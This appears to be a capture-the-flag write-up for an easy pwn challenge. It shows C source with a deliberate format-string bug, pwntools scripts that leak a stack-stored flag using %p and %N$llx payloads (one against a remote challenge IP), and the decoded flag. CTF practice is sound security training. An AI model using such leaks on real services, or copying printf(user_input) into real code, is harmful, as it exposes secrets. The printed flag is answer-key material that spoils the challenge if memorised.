#include <stdio.h>
#include <fcntl.h>
int main(void)
{
char buffer[0x200];
char flag[0x200];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
memset(buffer, 0, sizeof(buffer));
memset(flag, 0, sizeof(flag));
int fd = open("flag.txt", O_RDONLY);
if (fd == -1) {
puts("failed to read flag. please contact an admin if this is remote");
exit(1);
}
read(fd, flag, sizeof(flag));
close(fd);
puts("what do you say?");
read(0, buffer, sizeof(buffer) - 1);
buffer[strcspn(buffer, "\n")] = 0;
if (!strncmp(buffer, "please", 6)) {
printf(buffer);
puts(" to you too!");
}
}
| Field | Value |
|---|---|
| Category | PWN |
| Difficulty | Easy |
| Author | R3t0x |
| Technique | Format String — Stack Data Leak |
The binary reads the flag into a stack variable, then asks for user input. If input starts with "please", it passes the buffer to printf() as a format string:
char flag[0x200];
read(fd, flag, sizeof(flag)); // flag is on the stack!
printf(buffer); // format string vuln
Since the flag is on the stack and we control a format string, we use %p specifiers to leak stack contents. The flag bytes are stored as stack values that we can read with %N$p notation.
payload = b'please' + b'.%p' * 40
from pwn import *
io = remote('35.159.81.154', 7001)
io.sendline(b'please' + b'.%p' * 40)
data = io.recvall()
# Parse hex values, convert to ASCII
please.0x7fffffffdc90.0x200.(nil).0x4654537b...
# Decode hex → Securinets_fst{n0w_th4t_w4s_p0l1t3}
#!/usr/bin/env python3
from pwn import *
# Your binary is called "main", not "./bin/please"
p = process("./main") # <-- THIS IS THE ONLY LINE YOU NEED TO CHANGE
pay = "please;"
cnt = 5
for i in range(cnt):
pay += "%" + str(0x200 // 8 + 6 + i) + "$llx;"
p.sendlineafter(b"what do you say?\n", pay.encode())
p.recvuntil(b";") # skip the "please;"
leak = b""
for i in range(cnt):
hex_str = p.recvuntil(b";", drop=True)
leak += p64(int(hex_str, 16))
print("[+] Leaked raw bytes:")
print(leak)
print("\n[+] Flag:")
print(leak.split(b'\x00')[0].decode()) # clean output, removes null padding
p.close()